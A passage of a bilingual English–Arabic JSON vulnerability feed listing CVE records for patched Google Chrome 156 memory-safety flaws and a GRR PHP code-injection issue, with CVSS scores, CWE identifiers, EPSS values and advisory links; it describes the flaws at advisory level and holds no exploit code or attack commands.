عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/575090745","ref"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118331","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:01Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in FileAPI in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafte","ar":"استخدام الذاكرة بعد تحريرها في ميزة FileAPI في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج صندوق الحماية عبر صفحة HTML مصممة."},"summary":{"en":"Use after free in FileAPI in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","ar":"استخدام الذاكرة بعد تحريرها في ميزة FileAPI في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج صندوق الحماية عبر صفحة HTML مصممة. (خطورة أمان Chromium: حرجة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/572193211","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118332","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:01Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in Compositing in Google Chrome prior to 156.0.8078.73 allowed a remote attacker who had compromised the renderer process to potentiall","ar":"استخدام الذاكرة بعد تحريرها في ميزة Compositing في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد اخترق عملية العرض بتنفيذ شيفرة عشوائية."},"summary":{"en":"Use after free in Compositing in Google Chrome prior to 156.0.8078.73 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في ميزة Compositing في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد اخترق عملية العرض بتنفيذ شيفرة عشوائية محتملة خارج صندوق الحماية عبر صفحة HTML مصممة. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/574030524","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118336","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:01Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Race condition in Headless in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code outside the sandbox","ar":"حالة تنافس في Headless في Google Chrome قبل الإصدار 156.0.8078.73 تسمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية خارج نطاق الحماية"},"summary":{"en":"Race condition in Headless in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدت حالة تنافس في Headless في Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية خارج نطاق الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/572111820","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118315","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-843","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:00Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Type confusion in SVG in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a","ar":"خلط الأنواع في SVG في Google Chrome قبل الإصدار 156.0.8078.73 يسمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل نطاق الحماية"},"summary":{"en":"Type confusion in SVG in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى خلط الأنواع في SVG في Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/575184164","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118316","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:00Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in V8 in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML","ar":"استخدام الذاكرة بعد تحريرها في V8 في Google Chrome قبل الإصدار 156.0.8078.73 يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية"},"summary":{"en":"Use after free in V8 in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى استخدام الذاكرة بعد تحريرها في V8 في Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/574223268","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118317","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:00Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in HTML in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HT","ar":"استخدام الذاكرة بعد تحريرها في HTML في Google Chrome قبل الإصدار 156.0.8078.73 يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية"},"summary":{"en":"Use after free in HTML in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى استخدام الذاكرة بعد تحريرها في HTML في Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/568730797","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118320","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:00Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Race condition in V8 in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a ","ar":"حالة تنافس في V8 في Google Chrome قبل الإصدار 156.0.8078.73 تسمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل نطاق الحماية"},"summary":{"en":"Race condition in V8 in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدت حالة تنافس في V8 في Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/568894515","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118321","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:00Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in Core in Google Chrome on on Android prior to 156.0.8078.73 allowed a remote attacker who had compromised the renderer process to exe","ar":"استخدام الذاكرة بعد تحريرها في Core في Google Chrome على Android قبل الإصدار 156.0.8078.73 يسمح لمهاجم عن بُعد اخترق عملية العرض بتنفيذ شيفرة عشوائية"},"summary":{"en":"Use after free in Core in Google Chrome on on Android prior to 156.0.8078.73 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى استخدام الذاكرة بعد تحريرها في Core في Google Chrome على Android قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد اخترق عملية العرض بتنفيذ شيفرة عشوائية خارج نطاق الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/568937139","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118327","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:00Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Incorrect authorization in Media in Google Chrome prior to 156.0.8078.73 allowed a remote attacker leveraging social engineering to obtain sensitive i","ar":"تفويض غير صحيح في Media في Google Chrome قبل الإصدار 156.0.8078.73 يسمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية للحصول على معلومات حساسة"},"summary":{"en":"Incorrect authorization in Media in Google Chrome prior to 156.0.8078.73 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: High)","ar":"أدى التفويض غير الصحيح في Media في Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد يستغل الهندسة الاجتماعية للحصول على معلومات حساسة عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/572878518","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118306","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:16:59Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code outside the sandbox via a cra","ar":"استخدام الذاكرة بعد تحريرها في FileSystem في Google Chrome قبل الإصدار 156.0.8078.73 يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج نطاق الحماية"},"summary":{"en":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","ar":"أدى استخدام الذاكرة بعد تحريرها في FileSystem في Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج نطاق الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: حرجة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/571156746","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118307","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:16:59Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in Paint in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted H","ar":"استخدام الذاكرة بعد تحريرها في Paint في Google Chrome قبل الإصدار 156.0.8078.73 يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية"},"summary":{"en":"Use after free in Paint in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى استخدام الذاكرة بعد تحريرها في Paint في Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/570675085","ref"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118308","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:16:59Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in SVG in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTM","ar":"استخدام الذاكرة بعد تحريرها في SVG في Google Chrome قبل الإصدار 156.0.8078.73 يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية"},"summary":{"en":"Use after free in SVG in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى استخدام الذاكرة بعد تحريرها في SVG في Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/574791952","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118309","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-706","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:16:59Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Incorrect reference resolution in UI in Google Chrome on on Android prior to 156.0.8078.73 allowed a remote attacker leveraging social engineering to ","ar":"حل غير صحيح للإشارات في واجهة المستخدم في متصفح Google Chrome على نظام Android قبل الإصدار 156.0.8078.73 سمح لمهاجم عن بُعد بالاستفادة من الهندسة الاجتماعية لـ"},"summary":{"en":"Incorrect reference resolution in UI in Google Chrome on on Android prior to 156.0.8078.73 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: High)","ar":"أدى حل غير صحيح للإشارات في واجهة المستخدم في متصفح Google Chrome على نظام Android قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بالاستفادة من الهندسة الاجتماعية للحصول على معلومات حساسة عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/576133777","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118310","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:16:59Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in Views in Google Chrome on on Windows prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code outside ","ar":"استخدام الذاكرة بعد تحريرها في مكون Views في متصفح Google Chrome على نظام Windows قبل الإصدار 156.0.8078.73 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية محتملة خارج"},"summary":{"en":"Use after free in Views in Google Chrome on on Windows prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى استخدام الذاكرة بعد تحريرها في مكون Views في متصفح Google Chrome على نظام Windows قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية محتملة خارج بيئة الحماية (sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/574516887","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118311","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:16:59Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in Media in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via","ar":"استخدام الذاكرة بعد تحريرها في الوسائط في متصفح Google Chrome قبل الإصدار 156.0.8078.73 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية محتملة داخل بيئة الحماية عبر"},"summary":{"en":"Use after free in Media in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى استخدام الذاكرة بعد تحريرها في الوسائط في متصفح Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية محتملة داخل بيئة الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/573938968","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118312","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-203","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:16:59Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Observable discrepancy in Paint in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to potentially obtain cross-origin data via a crafte","ar":"تناقض ملحوظ في مكون Paint في متصفح Google Chrome قبل الإصدار 156.0.8078.73 سمح لمهاجم عن بُعد بالحصول المحتمل على بيانات عبر مصادر مختلفة عبر"},"summary":{"en":"Observable discrepancy in Paint in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to potentially obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","ar":"أدى التناقض الملحوظ في مكون Paint في متصفح Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بالحصول المحتمل على بيانات عبر مصادر مختلفة (cross-origin) عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/540025369","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118313","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:16:59Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Out of bounds write in Video in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a craf","ar":"كتابة خارج حدود الذاكرة في مكون Video في متصفح Google Chrome قبل الإصدار 156.0.8078.73 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل بيئة الحماية عبر"},"summary":{"en":"Out of bounds write in Video in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدت الكتابة خارج حدود الذاكرة في مكون Video في متصفح Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل بيئة الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/574032795","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118314","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-706","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:16:59Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Incorrect reference resolution in UI in Google Chrome on on Android prior to 156.0.8078.73 allowed a local attacker leveraging social engineering to o","ar":"حل غير صحيح للإشارات في واجهة المستخدم في متصفح Google Chrome على نظام Android قبل الإصدار 156.0.8078.73 سمح لمهاجم محلي بالاستفادة من الهندسة الاجتماعية لـ"},"summary":{"en":"Incorrect reference resolution in UI in Google Chrome on on Android prior to 156.0.8078.73 allowed a local attacker leveraging social engineering to obtain sensitive information via a co-installed app. (Chromium security severity: High)","ar":"أدى حل غير صحيح للإشارات في واجهة المستخدم في متصفح Google Chrome على نظام Android قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم محلي بالاستفادة من الهندسة الاجتماعية للحصول على معلومات حساسة عبر تطبيق مثبت مسبقًا. (خطورة الأمان في Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/574803484","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118304","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:16:58Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in SVG in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTM","ar":"استخدام الذاكرة بعد تحريرها في SVG في متصفح Google Chrome قبل الإصدار 156.0.8078.73 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل بيئة الحماية عبر HTML مصمم"},"summary":{"en":"Use after free in SVG in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى استخدام الذاكرة بعد تحريرها في SVG في متصفح Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل بيئة الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/574101376","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118305","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-843","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:16:58Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Type confusion in Turbolev in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafte","ar":"ارتباك في الأنواع (Type confusion) في Turbolev في متصفح Google Chrome قبل الإصدار 156.0.8078.73 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل بيئة الحماية عبر"},"summary":{"en":"Type confusion in Turbolev in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى ارتباك في الأنواع في Turbolev في متصفح Google Chrome قبل الإصدار 156.0.8078.73 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل بيئة الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/568348290","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-58256","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T22:32:12Z","product":"JeromeDevome GRR","affected":[],"title":{"en":"GRR vulnerable to Remote Code Execution Via PHP Code Injection","ar":"ثغرة في GRR تتيح تنفيذ أوامر عن بُعد عبر حقن شيفرة PHP"},"summary":{"en":"GRR is a resource management and reservation application. Prior to the advisory-reported fixed version 4.5.0, an administrator can inject malicious PHP through LDAP connector configuration parameters such as `ldap_filter`, poisoning `/personnalisation/config_ldap.inc.php` and permitting remote code execution. The administrator must first successfully connect to an LDAP server, which can be attacker-controlled, and then submit malicious input on the subsequent connector settings page. The advisory reports this issue as fixed in version 4.5.0.","ar":"نظام GRR هو تطبيق لإدارة الموارد والحجز. قبل الإصدار 4.5.0 المُعلن عن إصلاحه في التحذير، يمكن للمسؤول حقن شيفرة 